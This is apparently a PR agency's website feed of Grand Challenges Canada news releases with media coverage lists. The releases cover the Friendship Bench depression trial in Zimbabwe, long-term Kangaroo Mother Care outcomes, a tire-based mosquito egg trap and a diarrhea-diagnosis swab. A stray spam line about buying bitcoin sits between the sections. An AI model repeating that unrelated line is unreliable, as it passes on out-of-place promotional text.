Medical Express, USA, Maternal micronutrients, nurturing environment boost child development, click here

Medical News, Australia, Maternal multi-micronutrients, nurturing environment in early life foster childhood development, click here

Nutraceuticals World, United States, Supplementation & Nurturing Environment Boost Child Development, click here

Elaph Journal, United Arab Emirates, عدم تناول الفيتامينات أثناء الحمل يؤخر الطفل في المدرسة (Not taking vitamins during pregnancy retards the child at school), click here

Albeu, Albania, Fëmijë të zgjuar? Konsumoni këto vitamina gjatë shtatzanisë! (Smart kids? Consume these vitamins during pregnancy!), click here

Republika, Indonesia, Suplemen dan Lingkungan Jadi Pendorong Perkembangan Anak (Supplements and Environment Boost Child Development), click here

Punjab Tribune, Indonesia, Proper Maternal Vitamins, Good Nurturing, May Boost Kids’ IQ, click here

* * * * *

News release in full, click here

Coverage summary, click here

Here is a collection of places you can buy bitcoin online right now.

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‘Friendship Bench’: A Blueprint for Tackling Developing World’s Mental Health Crisis https://terrycollinsassociates.com/zimbabwes-friendship-bench-blueprint-for-tackling-developing-worlds-mental-health-crisis/ Tue, 27 Dec 2016 14:19:49 +0000 https://terrycollinsassociates.com/zimbabwes-friendship-bench-blueprint-for-tackling-developing-worlds-mental-health-crisis/
Grand Challenges Canada, Toronto

In Zimbabwe, Friendship Bench therapy reduces prevalence of depression to less than 14 percent, compared to 50 percent in control group; First at-scale model of community mental health care in Africa has diagnosed and treated over 27,500 people for common mental health disorders

FBToronto / Harare — Their offices are simple wooden seats, called Friendship Benches, located in the grounds of health clinics around Harare and other major cities in Zimbabwe.

The practitioners are lay health workers known as community “Grandmothers,” trained to listen to and support patients living with anxiety, depression and other common mental disorders.

But the impact, measured in a ground-breaking study, shows that this innovative approach holds the potential to significantly improve the lives of millions of people with moderate and severe mental health problems in countries where access to treatment is limited or nonexistent.

Six months after undergoing six weekly “problem solving therapy” sessions on the Friendship Benches, participants showed significant differences in severity of depression, anxiety, and suicidal thoughts based on locally-validated questionnaires: the Shona Symptom Questionnaire (SSQ), the Patient Health Questionnaire (PHQ) and the Generalised Anxiety Disorder scale (GAD).

Funded by the Government of Canada through Grand Challenges Canada, the randomised controlled trial was conducted by the University of Zimbabwe, the London School of Hygiene & Tropical Medicine and King’s College London.

The study is published Dec. 27 in JAMA, the world’s most widely-circulated medical journal.

Striking results

* Patients with depression or anxiety who received problem-solving therapy through the Friendship Bench were more than three times less likely to have symptoms of depression after six months, compared to patients who received standard care.

* They were also four times less likely to have anxiety symptoms and five times less likely to have suicidal thoughts than the control group after follow-up.

* 50 percent of patients who received standard care still had symptoms of depression compared to 14 percent who received Friendship Bench (based on PHQ).

* 48 percent of patients who received standard care still had symptoms of anxiety compared to 12 percent who received Friendship Bench (based on the GAD),
and

* 12 percent of patients who received standard care still had suicidal thoughts compared to 2 percent who received Friendship Bench (based on SSQ).

The Friendship Bench intervention was also shown to be well suited to improve health outcomes among highly vulnerable individuals. 86 percent of the study’s participants were women, over 40 percent were HIV positive, and 70 percent had experienced domestic violence or physical illness.

Lead author of the study Dr. Dixon Chibanda, a consultant psychiatrist in Harare, co-founded the Friendship Bench network in response to the appalling shortage of evidence-based treatment for people with mental disorders in Zimbabwe, a problem common throughout Africa.

While about 25 percent of the country’s primary care patients suffer from depression, anxiety and other common mental disorders, Zimbabwe (population 15 million) has only 10 psychiatrists and 15 clinical psychologists.

“Common mental disorders impose a huge burden on all countries of sub-Saharan Africa,” says Dr. Chibanda. “Developed over 20 years of community research, the Friendship Bench empowers people to achieve a greater sense of coping and control over their lives by teaching them a structured way to identify problems and find workable solutions.”

With CDN $1 million in funding from Grand Challenges Canada earlier this year, the Friendship Bench has since been scaled to 72 clinics in the cities of Harare, Gweru and Chitungwiza (total population 1.8 million). Through collaborating with a Médecins Sans Frontières psychiatric program in Zimbabwe, the Friendship Bench is working to create the largest comprehensive mental health program in sub-Saharan Africa.

To date, over 27,500 people have accessed treatment.

“In developing countries, nearly 90 percent of people with mental disorders are unable to access any treatment,” says Dr. Peter A. Singer, Chief Executive Officer of Grand Challenges Canada. “We need innovations like the Friendship Bench to flip the gap and go from 10 percent of people receiving treatment, to 90 percent of people receiving treatment.”

“In many parts of Africa, if you are poor and mentally ill, your chances of getting adequate treatment are close to zero,” says Dr. Karlee Silver, Vice President Programs at Grand Challenges Canada.

“In Zimbabwe, that’s changing thanks to the Friendship Bench, the first project with the potential to make mental health care accessible to an entire African nation.”

In 2017, the team will focus on expanding the model to reach other vulnerable populations, including youth and refugees. In partnership with the Swedish NGO SolidarMed, the team intends to expand implementation of this model in Masvingo province and subsequently in the refugee centres of the eastern highlands on the border with Mozambique.

“The Friendship Bench team, working with the Zimbabwe Ministry of Health, has been able to substantially scale up services for some of the most deprived people in the community,” says Dr. Shekhar Saxena, Director of Mental Health and Substance Abuse at the World Health Organization.

“By supporting the uptake of mental health innovations like the Friendship Bench, Canada is helping to turn the tide in the global mental health challenge.”

The study was conducted from September 2014 to June 2015, and involved:

* Identifying participants at 24 primary care clinics in Harare, divided into an intervention group (287 participants) and a control group (286). Total participants: 573

* Participants were all at least 18 years old (median age 33)
* All had been assessed at 9 or higher on a 14-level “Shona Symptoms Questionnaire” (SSQ-14), an indigenous measure of common mental disorders in Zimbabwe’s Shona language (http://bit.ly/2h2SQch). Changes in depression were measured using the PHQ-9 scale
* Excluded were patients with suicidal intent (those who were clinically depressed with suicidal thoughts and a plan for suicide), end-stage AIDS, were currently in psychiatric care, were pregnant or up to 3 months post-partum, presented with current psychosis, intoxication, and/or dementia (such patients were referred to a higher level clinic in Harare)
* The control group received standard care (nurse assessment, brief support counselling, medication, referral to see a clinical psychologist and/or a psychiatrist, and Fluoxetine if warranted) plus education on common mental disorders
* Intervention group participants met on a wooden bench on the grounds of municipal clinics with trained, supervised lay health workers, popularly known as “grandmothers,” (median age 53) who provided problem solving therapy with three components – “opening up the mind, uplifting the individual, and further strengthening”
* The 45-minute sessions took place weekly for six weeks, with an optional 6-session group support program available
* The “grandmothers” used mobile phones and tablets to link to specialist support. They also used a cloud-based platform that integrated the Friendship Bench project’s training, screening, patient referral and follow-up components
After three individual sessions, participants were invited to join a peer-led group called Circle Kubatana Tose, or “holding hands together,” which provided support from men and women who had benefitted from the Friendship Bench earlier.
At these weekly meetings, people shared personal experiences while crocheting purses made from recycled plastic materials, the latter being an income-generating skill for participants.

* * * * *

Grand Challenges Canada is dedicated to supporting Bold Ideas with Big Impact in global health. We are funded by the Government of Canada and we support innovators in low- and middle-income countries and Canada. The bold ideas we support integrate science and technology, social and business innovation – we call this Integrated Innovation. Grand Challenges Canada focuses on innovator-defined challenges through its Stars in Global Health program and on targeted challenges in its Saving Lives at Birth, Saving Brains and Global Mental Health programs. Grand Challenges Canada works closely with Canada’s International Development Research Centre (IDRC), the Canadian Institutes of Health Research (CIHR) and Global Affairs Canada to catalyze scale, sustainability and impact. We have a determined focus on results, and on saving and improving lives.
www.grandchallenges.ca

Example coverage
Voice of America (Television), USA, Zimbabwe’s ‘Friendship Bench’ a Possible Model for Mental Health Treatment, click here (distributed to affiliate stations in 75 countries,  eg. PTV, Philippines, click here).  VOA Online, Zimbabwe Tackles Mental Health With ‘Friendship Benches’, click here

National Public Radio, USA, The Friendship Bench Can Help Chase The Blues Away, click here

SciDev, UK, Bench talk boosts mental health in Zimbabwe, click hereFrench: Des méthodes innovantes pour stimuler la santé mentale au Zimbabwe, click here

Press Trust of India, ‘Friendship Bench’ may help fight mental illness, click here

BBC World Service English to Africa, Focus on Africa, starts at the 15:30 mark, click here

BBC Swahili, UK, Gumzo la benchi, tiba ya magonjwa ya kiakili, click here

Newser, USA via Fox News, ‘Friendship Bench’ chats ease symptoms of depression, says study, click here

Medical Daily, USA, Are ‘Friendship Benches’ The Cure For Depression, Anxiety In Poor Countries?, click here

IndoAsian News Service, India, Community-based Therapy May Alleviate Depression, Anxiety: Study, click here

Newser, USA, 5 most incredible discoveries of the week, click here

Upworthy, USA, This country has only 10 psychiatrists. That’s where ‘professional grandmothers’ come in, click here

Agencia EFE, Spain Charlas Semanales Con Abuelas Reducen Dramaticamente Enfermedades Mentales (Weekly talks with grandmothers dramatically reduce mental illness), via Yahoo News, USA, click here

South Africa Broadcasting Corp.

Ontario Farmer, Canada helps Zimbabwe with bench strength

Forskning, Norway, Mindre depresjon med bestemor på en benk, click here

Psychology Today, USA, What if You’re Depressed or Anxious and Can’t Find Help? Friendship Benches offer a new tool in the fight against depression and anxiety, click here

FJ China (+ several other news sites), China, 这群大妈每天找人闲聊,却做着救人的大事被称为“黄金夫人, click here

Good News Network, USA, ‘Friendship Benches’ Alleviate Mental Illness Symptoms For Thousands, click here

Health Canal, USA, Friendship Bench therapy reduces anxiety and depression in Zimbabwe, click here

Psych Central, USA, Friendship Bench Therapy Proves Effective in Treating Mental Illness, click here

MedIndia, India, Friendship benches help reduce mental illness in developing countries, click here

MedScape, USA, Novel Strategy May Boost Access to Mental Health Care, click here

Quo, Spain, En este puedes confiar: nace el banco de la amistad (Psychology — In this you can trust: the Friendship Bench is born; It is a resource that has proven extremely useful for treating depression), click here

* * * * *

News release in full, click here

Coverage summary, click here

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Kangaroo mother care helps premature babies thrive 20 years later — study https://terrycollinsassociates.com/kangaroo-mother-care-helps-premature-babies-thrive-20-years-later-study/ Mon, 12 Dec 2016 13:17:10 +0000 https://terrycollinsassociates.com/kangaroo-mother-care-helps-premature-babies-thrive-20-years-later-study/ Grand Challenges Canada, Toronto

Study funded by Saving Brains shows Kangaroo Mother Care kids 20 years later are better behaved, have larger brains, higher paycheques, more protective and nurturing families

128538_web

Two decades after a group of Colombian parents were shown how to keep their perilously tiny babies warm and nourished through breastfeeding and continuous skin-to-skin contact, a new groundbreaking study finds that as young adults their children continue to benefit from having undergone the technique known as Kangaroo Mother Care.

In young adulthood, they are less prone to aggressive, impulsive and hyperactive behaviour compared to a control group of premature and low birth weight contemporaries who received “traditional” inpatient incubator care. They are more likely to have survived into their 20s. Their families are more cohesive. They have bigger brains.

Supported by the Government of Canada through Grand Challenges Canada’s “Saving Brains” program, as well as Colombia’s Administrative Department of Science, Technology and Innovation (COLCIENCIAS), the study is published today in the journal Pediatrics.

“This study indicates that Kangaroo Mother Care has significant, long-lasting social and behavioural protective effects 20 years after the intervention,” says lead researcher Dr. Nathalie Charpak, of the Kangaroo Foundation in Bogotá.

The technique’s early impact was still present 20 years later for those who started life as the most fragile individuals, she says. Families trained in Kangaroo Mother Care were more likely to remain together and to be more protective and nurturing, reflected in their children’s lower school absenteeism, ability to express feelings, and reduced hyperactivity, aggressiveness and antisocial conduct as young adults.

“A premature infant is born somewhere in the world every two seconds,” says Dr. Peter A. Singer, Chief Executive Officer of Grand Challenges Canada. “This study shows that Kangaroo Mother Care gives premature and low birth weight babies a better chance of thriving. Kangaroo Mother Care saves brains and makes premature and low birth weight babies healthier and wealthier.”

What is Kangaroo Mother Care?

About 15 million premature infants are born each year, according to the World Health Organization. Preterm birth complications are the leading cause of death among children under 5, responsible for nearly 1 million deaths in 2015; many survivors face a lifetime of disability, including learning disabilities and visual and hearing problems.

Premature and low birth weight infants generally require extra care to avoid illness and death from secondary, preventable complications such as hypothermia and infection. This is a particular problem in developing countries, where incubators and similar technologies are often scarce, over-crowded or unreliable, as well as costly.

A trained Kangaroo Mother Care parent or caregiver becomes a child’s incubator and its main source of food and stimulation. The technique involves continuous skin-to-skin contact between caregiver and infant, with the baby nested in a “kangaroo” position on the caregiver’s chest as soon as possible after birth. The technique is accompanied by exclusive breastfeeding.

Kangaroo Mother Care also requires and prepares the mother and child to go home as soon as possible from the hospital, after which there is rigorous monitoring of baby and mother until the infant reaches one year of corrected age (the baby’s age based on due date rather than date of birth). Family solidarity around the frail child is a key element in the success of the Kangaroo Mother Care technique.

Revisiting Kangaroo Mother Care babies 20 years later

The Kangaroo Foundation research compared 18 to 20 year olds who, as premature and low birth weight infants, had been randomized at birth to receive either Kangaroo Mother Care (KMC) or traditional incubator care until they could maintain their own body temperature.

During that initial randomized control trial in 1993-96, researchers documented the short and mid-term benefits of KMC training on the infants’ survival, brain development, breastfeeding and the quality of mother-infant bonding.

In 2012-2014, 264 of the original participants who weighed less than 1800 grams at birth were re-enrolled (61% of infants that qualified).

Looking at mortality, the research found that KMC offered significant protection against early death. The mortality rate in the control group (7.7 percent) was more than double that of the KMC group (3.5 percent).

Among other results of the study:

  • School: The KMC group spent about 23 percent more time in preschool and had less than half the rate of school absenteeism compared to the control group.
  • Work: As young workers, their average hourly wages were almost 53 percent higher.
  • Family: A higher percentage of KMC children (almost 22 percent) grew up living with both parents. The families of KMC children were found to be more stimulating, protective, and dedicated to their children compared to the families in the control group.
  • Behaviour: Scores for aggressiveness and hyperactivity were 16 percent lower in the KMC group, particularly among less-educated mothers. Scores for externalization (the ability to express feelings, especially negative feelings), a trait associated with risk of juvenile delinquency, academic failure, and inadequate social adjustment, were 20 percent lower in the KMC group on average. The parents of KMC children also reported that their children exhibited less antisocial behaviour compared to the reports of the parents of the counterparts in the control group.
  • Cerebral development: Compared with those in the control group, KMC participants had larger brains – significantly larger volumes of total grey matter, cerebral cortex, and left caudate nucleus, which plays a vital role in how the brain learns, specifically related to the storing and processing of memories.
  • Overall IQ: Tests after 20 years show a small but significant (3.6 percent) advantage in overall intelligence (IQ) for the most fragile KMC babies (those with an abnormal or transient neurological exam at 6 months) compared to similar infants in the control group.

The world needs Kangaroo Mother Care

Dr. Charpak notes that as neonatal technology becomes more accessible throughout the world, more premature and low birth weight infants are saved with fewer serious consequences in later years.

“That is why the detection of ‘minor’ consequences becomes important,” she says. “Minor effects like mild cognitive deficits, lack of fine coordination, poor hearing or eyesight and attention deficit can often go undetected but have a profound effect on the lives of families.

“The findings of our 20-year KMC study should inform the modalities of medical, psychological and social postnatal interventions such as Kangaroo Mother Care so that we can continue to reduce the disorders caused by prematurity and low birth weight.”

Dr. Charpak says that this new knowledge must be used to extend KMC coverage to the 18 million premature and low birth weight infants born each year who are candidates for the technique.

“We firmly believe that this is a powerful, efficient, scientifically based health care intervention that can be used in all settings, from those with very restricted to unrestricted access to health care,” she says.

“This study demonstrates that Kangaroo Mother Care can make all the difference in the world for premature and low birth weight infants,” says Dr. Karlee Silver, Vice President Programs at Grand Challenges Canada. “Kangaroo Mother Care is a cost-effective, modern method of care that can and should be applied in every country.”

###

About Grand Challenges Canada

Grand Challenges Canada is dedicated to supporting Bold Ideas with Big Impact in global health. We are funded by the Government of Canada and we support innovators in low- and middle-income countries and Canada. The bold ideas we support integrate science and technology, social and business innovation – we call this Integrated Innovation. Grand Challenges Canada focuses on innovator-defined challenges through its Stars in Global Health program and on targeted challenges in its Saving Lives at Birth, Saving Brains and Global Mental Health programs. Grand Challenges Canada works closely with Canada’s International Development Research Centre (IDRC), the Canadian Institutes of Health Research (CIHR) and Global Affairs Canada to catalyze scale, sustainability and impact. We have a determined focus on results, and on saving and improving lives.
http://www.grandchallenges.ca

About Saving Brains

Saving Brains is a partnership of Grand Challenges Canada, Aga Khan Foundation Canada, the Bernard van Leer Foundation, the Bill & Melinda Gates Foundation, The ELMA Foundation, Grand Challenges Ethiopia, the Maria Cecilia Souto Vidigal Foundation, the Palix Foundation, UBS Optimus Foundation and World Vision Canada. It seeks and supports bold ideas for products, services and implementation models that protect and nurture early brain development relevant to poor, marginalized populations in low- or middle-income countries.
http://www.savingbrainsinnovation.net

* * * * *

Example coverage:

Newswires / syndicates:

Reuters, UK, Skin-to-skin ‘kangaroo’ baby care tied to better health years later, click here

Agencia EFE, Spain, Los beneficios de método canguro para bebé prematuros duran décadas, dice un estudio, click here

HealthDay, USA, ‘Kangaroo Mother Care’ May Improve Preemies Lives into Adulthood (via US News and World Report), click here

Deutsch Presse Agentur, Germany, Känguru-Methode kann Frühchen lebenslang nützen (Kangaroo method can improve premature life), click here; in Spanish: Los bebés prematuros se benefician del contacto constante con la piel de la madre, según estudio, click here

Anadolu Agency, Turkey, “Kanguru bakımı” çocukların sağlığını ve zekasını olumlu etkiliyor, click here

IndoAsian News Service, India, Kangaroo mother care helps premature babies thrive, click here

Press Trust of India, Kangaroo cuddles can help premature babies thrive: study, click here

ANSA newswire, Italy, Pelle a pelle con mamma e papà, benefici ‘canguro-terapia’ durano decenni, click here

* * * * *

CBC, Canada, Kangaroo care for preemies shows profound power of touch, click here

BBC World Service (Health Check) 9 minutes long, starts ~16 min mark, click here

The Guardian, UK: ‘Kangaroo care’ makes premature babies healthier and wealthier, study finds, click here

Daily Mail, UK (page 23), How ‘kangaroo cuddles’ can help premature babies: Infants given skin-to-skin contact with mothers develop better than those placed in incubators, click here

The Telegraph, UK, ‘Kangaroo mothering’ helps boost a child’s health and intelligence, study finds, click here

Huffington Post, USA: Incredible Study Shows Cuddling Preemies Helps Them For Decades click here

Forbes, USA, Kangaroo Care Still Benefits Preemies 20 Years Later, click here

NBC News, USA, Cuddling Preemies Kangaroo Style Helps Into Adulthood, click here

LiveScience, USA, Benefits of ‘Kangaroo Mother Care’: Do They Last?, click here

O Globo, BrazilMétodo canguru faz prematuros serem adultos mais saudáveis e promissores (Kangaroo method makes premature babies are healthier and more promising adults), click here

Deutsche Welle, Germany, Portuguese: Método canguru beneficia prematuros no longo prazo, click here

Psychology Today, USA, What We Can Learn from Kangaroos, click here

Topsante (via Yahoo News, France), Le peau à peau pour accompagner les bébés prématurés, click here

Die Welt, Germany, Känguru-Methode nützt Frühchen noch Jahre später, click here

Parents .com, USA, Babies Given Kangaroo Care Show Benefits Decades Later, click here

WebMD, USA, Kangaroo mothering ‘helps premature babies’, click here

Spektrum, Germany, Känguru-Methode hilft Frühchen über Jahrzehnte (Kangaroo care helps preemies decades later), click here

Medpage Today, USA, Kangaroo Care Linked to Long-Term Benefits, click here

Epoch Times, China, “袋鼠育儿法”有助于提升早产儿的健康和智力 “Kangaroo Parenting Act” to help improve the health and intelligence of premature children, click here

International Business Times, UK: How ‘kangaroo mothers’ help tiny, premature babies survive and thrive, click here

International Business Times, India: ‘Kangaroo mother care’ turns out to be vital for pre-term babies, click here

Sunday World, UK, ‘Kangaroo mothering’ helps premature babies thrive, click here

ORF Science, Germany, Känguru-Methode schützt Frühchen, click here

Helsingin Sanomat, Finland, Kenguruhoidetuilla keskosilla on aikuisena isommat aivot – ja palkkapussi, click here

Sveriges Radio, Sweden, För tidigt födda verkar gynnas av känguruvård, click here

HealthMag, Greece, Η αγκαλιά “καγκουρό” κάνει πιο υγιή και πιο έξυπνα τα παιδιά (The “kangaroo” hug makes healthier and smarter children), click here

HKN, Korea: 캥거루 케어’ 받은 아이, 똑똑하고 튼튼하다 (‘Kangaroo Care’ receiving child is smart and durable), click here

Klix, Bosnia and HerzegovinaKlokan metoda čini nedonoščad zdravijom i bogatijom (Kangaroo method seems premature babies healthier and richer), click here

Videnskab, Denmark‘Kængurupleje’ gavner for tidligt fødte bedre end kuvøse (‘Kangaroo Care’ benefit premature better than incubator), click here

Ethnos, Greece: Τα πρόωρα βρέφη γίνονται πιο υγιή και… πλούσια με τη φροντίδα «καγκουρό» (Premature babies are healthier and … rich with care “kangaroo”), click here

* * * * *

Full coverage summary, click here

News release in full, click here

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Canadian innovation for killing mosquito eggs could help Zika fight https://terrycollinsassociates.com/canadian-innovation-for-killing-mosquito-eggs-could-help-zika-fight/ Thu, 07 Apr 2016 07:59:41 +0000 https://terrycollinsassociates.com/canadian-innovation-for-killing-mosquito-eggs-could-help-zika-fight/ Grand Challenges Canada

(#1 most viewed release (415,000+ page views) of 29,500 news releases hosted by the American Association for the Advancement of Science at its EurekAlert news service in 2016.  Click here for the AAAS news release)

Video: bit.ly/1S3YFjH

Canadian Government-supported researchers use mosquitoes’ own perfume to lure them to lay eggs in trap; Sudbury-based scientist leads project in Guatemala

OvillantaWith Canadian Government funding, a team of innovators from Canada and Mexico have successfully tested a low cost, environmentally-friendly way of destroying the eggs of the mosquito genus that spreads dengue, and likely spreading the Zika virus.

The 10-month study, conducted in a remote, urban area of Guatemala, documents a cheap, easy system to reduce virus-carryingAedesgenus mosquitoes by capturing and destroying its eggs. The results appear today in the F1000Research Zika & Arbovirus Outbreaks channel: bit.ly/1P3chwX *.

The system includes an innovative Canadian-designed trap called an “ovillanta,” created from two 50 cm sections of an old car tire, fashioned into a mouth-like shape, with a fluid release valve at the bottom.

Inside the lower tire cavity, a milk-based, non-toxic solution developed at Sudbury’s Laurentian University lures mosquitoes. Inserted to float in the artificial pond is a wooden or paper strip on which the female insect lays her eggs. The strip is removed twice weekly, analyzed for monitoring purposes, and the eggs destroyed using fire or ethanol.

The solution, which now includes mosquito pheromone (the female insect’s chemical perfume that helps others identify a safe breeding site), is then drained, filtered, and recycled back into the tire. The pheromone concentrates over time, making the ovillanta even more attractive for mosquitoes.

With a grant from Grand Challenges Canada, funded by the Government of Canada, the researchers, led by Gerardo Ulibarri of Laurentian University with collaborators Angel Betanzos and Mireya Betanzos of the National Institute of Public Health of Mexico, conducted the project in collaboration with Guatemala’s Ministry of Health.

They found the rubber ovillanta significantly more effective at attracting the Aedes mosquito than standard traps made from 1-litre buckets.

During the 10-month study, the team collected and destroyed over 18,100 Aedes eggs per month using 84 ovillantas in seven neighbourhoods of the town of Sayaxche (population 15,000), almost seven times the roughly 2,700 eggs collected monthly using 84 standard traps in the same study areas.

A tantalizing but anecdotal observation was that there were no new cases of dengue reported as originating in the ovillanta study test area, a community that would normally anticipate two or three dozen cases in that timeframe.

Targeting mosquito eggs using the ovillanta, Dr. Ulibarri says, is one third as expensive as trying to destroy larvae in natural ponds and only 20% the cost of targeting adult insects with pesticides, which also harm bats, dragonflies and the mosquitoes’ other natural predators.

The ovillanta was modelled after a mosquito trap developed at Laurentian University in response to the outbreak of West Nile virus in northern Ontario, which uses a modified solution to lure the Culex genus of mosquito, the West Nile carrier thought by some to be also the Zika carrier.

“We decided to use recycled tires – partly because tires already represent up to 29% of the breeding sites chosen by the Aedes aegypti mosquitoes, partly because tires are a universally affordable instrument in low-resource settings, and partly because giving old tires a new use creates an opportunity to clean up the local environment,” said Dr. Ulibarri.

Key to the overall system is an online training program to strengthen the mosquito control expertise of local health workers, coupled with a community engagement strategy that involves households in the regular maintenance of their ovillanta.

The community members collect the egg-laden strips of paper or wood from the ovillanta and pass them to the health workers, who conduct the monitoring and destruction using fire or ethanol.

The Aedes genus of mosquito – the principal genus that transmits Zika, dengue, chikungunya, and yellow fever viruses – has proven extremely difficult to control using other strategies, according to the World Health Organization.

A female, with a natural lifespan of up to three months, can start to reproduce in one week. Pesticide-resistance, dwindling resources, and an increase in mosquito-friendly environments have thwarted traditional methods of controlling the insect’s rapid spread.

“Innovation is a key driver underlying the Government of Canada’s approach to international development,” said Canada’s Minister of International Development and La Francophonie, the Honourable Marie-Claude Bibeau. “Innovative solutions that deliver improved global health outcomes – such as for the fight against the Zika virus – are needed.”

“While in its early days, this integrated innovation of a mosquito trap coupled with training local health workers and engaging communities in vector control is a promising example of how Canada’s leadership in development innovation can respond to public health emergencies such as Zika,” said Dr. Peter A. Singer, Chief Executive Officer of Grand Challenges Canada.

High-res still photos: bit.ly/1RxJZ1O

Researchers’ how-to video for creating an ovillanta: bit.ly/1S3YFjH

Video of an ovillanta under construction in Guatemala: bit.ly/25jlxVW

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(* This paper is posted pending peer review, consistent with the open data approach proposed by the World Health Organization for Data Sharing in Public Health Emergencies: bit.ly/1QIEUx7)

For more information, visit grandchallenges.ca and look for us on Facebook, Twitter, YouTube and LinkedIn.

About Grand Challenges Canada

Grand Challenges Canada is dedicated to supporting Bold Ideas with Big Impact in global health. We are funded by the Government of Canada and we support innovators in low- and middle-income countries and Canada. The bold ideas we support integrate science and technology, social and business innovation – we call this Integrated Innovation. Grand Challenges Canada focuses on innovator-defined challenges through its Stars in Global Health program and on targeted challenges in its Saving Lives at Birth, Saving Brains and Global Mental Health programs. Grand Challenges Canada works closely with Canada’s International Development Research Centre (IDRC), the Canadian Institutes of Health Research (CIHR) and Global Affairs Canada to catalyze scale, sustainability and impact. We have a determined focus on results, and on saving and improving lives. http://www.grandchallenges.ca

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News release in full, click here

Example coverage by:

Agence France Presse, Cheap tire innovation could boost Zika control, click here; in French, “Zika: un piège à moustiques plus efficace, écologique et bon marché, click herePortuguese, click here; Japaneseclick here

ABC News, USA: Using Old Tires to Fight Zika Virus: Canadian Government Funds DIY Mosquito Trap, click here

The Canadian Press, Old tires a new weapon against spread of Zika, click here

CBC Radio As It HappensHow this Canadian-designed mosquito trap could help fight Zika virus, click here

Toronto Star, A Canadian team is testing a $4 hack to solve the Zika crisis, click here

Globe and Mail, Canada, Canadian researcher’s mosquito trap offers hope in fight against Zika spread, click here

The Huffington Post, Canada, Cheap Tire Trap Could Help Fight Zika Virus, click here

Gizmodo, USA and India, This Low-Tech Trap For Killing Mosquito Eggs Is Brilliant, click here

The Weather Network, Canadian team set to turn tires against Zika virus, click here

TreeHugger, USA, Mosquito traps made from old tires 7 times more effective than standard traps

Agencia EFE, Spain, Un método barato para combatir el mosquito Aedes aegypti podría reducir el zika, click here

Agencia Brasil, Cientistas fazem armadilha mais eficaz contra o a adeusa (Scientists make a more effective trap for Aedes), click here

IRIN News, Iran, Persian: روش عجیب کانادا برای مقابله با بیماری مرگبار زیکا (Canada novel way to deal with the deadly disease Zika), click here

Thanh Niên, Vietnam, Cách chống dịch Zika rẻ tiền bằng vỏ ô tô cũ và sữa, click here

Sciences et Avenir, France, Zika: un piège à moustiques plus efficace, écologique et bon marché (Zika: a more effective mosquito trap, environmentally friendly and cheap), click here

Sudbury Star, Sudbury-designed traps could help stop Zika, click here

Motherboard VICE, How Canadian Scientists Plan to Fight Zika With Old Tires and Milk, click here

Daily Beast, USA, Fighting Zika Mosquitos with Tires, click here

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Full coverage summary, click here

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New swab reveals infection causing severe diarrhea of 1 in 3 babies in African hospitals https://terrycollinsassociates.com/new-swab-reveals-one-third-of-babies-with-severe-diarrhea-have-undiagnosed-treatable-infection/ Mon, 25 May 2015 19:02:07 +0000 https://terrycollinsassociates.com/new-swab-reveals-one-third-of-babies-with-severe-diarrhea-have-undiagnosed-treatable-infection/ Grand Challenges Canada, Toronto

25 May 2015

Innovative ‘flocked swab’ improves diagnosis, treatment of deadly childhood diarrheal diseases; results could prompt rethink of how to manage second leading cause of death among children under 5

Flocked_swab_2013With Canadian government funding, medical scientists have created and demonstrated a new tool that could dramatically lower the tragic annual toll of 760,000 infants and children killed, and millions more stunted, due to severe diarrhea.

Using an inexpensive innovation in specimen collection, the Canadian-led team diagnosed previously unrecognized pathogens that had caused the severe diarrhea of over one-third of children in a group of southern Africa hospitals.

With a grant from federally-funded Grand Challenges Canada, McMaster University researchers designed and tested in Botswana a specially-designed “flocked swab” for collecting samples from children admitted to hospitals with severe diarrheal disease — the second-leading cause of death of children under five in developing countries.

The flocked rectal swab eliminates the wait and biohazard involved in obtaining and transporting a bulk stool (feces) sample from an infant or child. This efficiency enabled implementation of a randomized clinical trial evaluating same-day diagnosis and treatment for a broad number of pathogens — the first study of its kind anywhere.

Published by the Journal of the Pediatric Infectious Disease Society, the study documented that over one-third of 671 babies hospitalized with severe diarrhea – including 17 of 26 (65%) who ultimately died – were infected with a treatable pathogen, infections that had gone unrecognized at the hospital and therefore generally went untreated.

Because so many of these severely ill children had treatable conditions, the researchers clinically tested whether same-day rapid diagnosis followed by timely, appropriate therapy would lead to improved outcomes.

Children randomly chosen for rapid testing using the flocked swab and appropriate treatment were 55% less likely to have diarrhoea recur, compared with children not chosen, and they had a clinically significant height gain after 60 days. This measure of growth is an important indicator of children’s ability to reach their full developmental potential.

Led by David Goldfarb, MD (formerly of McMaster University, now at the University of British Columbia), along with Jeff Pernica, MD (McMaster) and collaborators Isaac Quaye, PhD (University of Namibia) and Margaret Mokomane (University of Botswana), the researchers witnessed dramatic health changes as a result of the rapid test-and-treat strategy.

And the ‘treatment gap’ revealed in their Botswana research uncovers a major opportunity to make a big long-term impact in child health worldwide, they say.

“The simple fact is: Diagnostics save lives,” says Dr. Peter A. Singer, CEO of Grand Challenges Canada. “If health workers can quickly and accurately pinpoint the cause of a child’s illness, timely help can be administered, preventing many deaths and improving many lives.”

“The flocked swab offers a shining example of the sort of ‘Bold Idea with Big Impact’ in global health to which Grand Challenges Canada has been devoted since 2010. These are early days and results from an innovation are fully seen only in the long term but we believe the global health potential of this innovation could be very large over time.”

* 1.7 billion cases of diarrhoeal disease worldwide each year; 760,000 child deaths *

According to the WHO, nearly 1.7 billion cases of diarrhoeal disease occur worldwide every year, illnesses that kill about 760,000 children under five years old. Other profound health consequences for children include physical and cognitive stunting and severe malnutrition.

Says Dr. Pernica: “For many of the leading causes of severe diarrhea in children, there are effective low-cost treatments available. The issue, however, is that up until recently it was not possible to determine the specific pathogen causing illness in a timely manner.”

“For this reason, the standard of care for child diarrhea across the developing world has been to ignore what might be the specific pathogen and only provide antibiotics if blood is present in the stool. This may well be contributing to the high mortality observed in African children with severe diarrhea; in Botswana, 4% of such children died in hospital, and in other sub-Saharan countries, the death rate is over 7%. Furthermore, most of those who survive will experience some degree of growth faltering and the possibility of cognitive developmental delay.”

Phase two of the work in Africa involves quantifying more precisely the difference this diagnostic breakthrough achieves.

Says Dr. Goldfarb: “Further demonstrating significant improvements in outcomes would necessitate an entire rethinking of how this very common condition is managed around the world.”

* Data inspires Botswana to fast-track Rotavirus vaccination programme *

Thanks to the group’s research, valuable information acquired at a national level about the specific germs causing child diarrheal disease facilitated Botswana’s fast-tracking an immunization programme and the development of rapid antibiotic treatment protocols.

Botswana’s anti-Rotavirus programme, addressing the leading cause of severe diarrhoea among infants and young children, has vaccinated over 100,000 children and is credited with an overall 55% decrease in the mortality rate among infants at four hospitals during the first Rotavirus season after the vaccine roll-out.

